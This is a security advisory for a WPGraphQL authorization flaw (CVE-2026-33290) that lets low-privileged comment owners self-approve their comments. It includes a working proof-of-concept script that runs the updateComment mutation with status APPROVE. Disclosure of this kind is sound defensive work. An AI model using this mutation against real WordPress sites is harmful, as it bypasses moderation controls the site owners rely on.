CVE-2026-33290

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

### Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.

- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.

- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

### PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install

npm run wp-env start

2. Run this PoC:

```

npm run wp-env run cli -- wp eval '

add_role("no_caps","No Caps",[]);

$user_id = username_exists("poc_nocaps");

if ( ! $user_id ) {

$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]");

}

$user = get_user_by("id",$user_id);

$user->set_role("no_caps");

$post_id = wp_insert_post([

"post_title" => "PoC post",

"post_status" => "publish",

"post_type" => "post",

"comment_status" => "open",

]);

$comment_id = wp_insert_comment([

"comment_post_ID" => $post_id,

"comment_content" => "pending comment",

"user_id" => $user_id,

"comment_author" => $user->display_name,

"comment_author_email" => $user->user_email,

"comment_approved" => "0",

]);

wp_set_current_user($user_id);

$result = graphql([

"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",

"variables" => [ "id" => (string)$comment_id ],

]);

echo wp_json_encode([

"role_caps" => array_keys(array_filter((array)$user->allcaps)),

"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,

"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,

"comment_id" => $comment_id

]);

'

```

3. Observe result:

- role_caps is empty (or no moderate_comments)

- mutation returns status: APPROVE

- DB value becomes comment_approved = 1

### Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.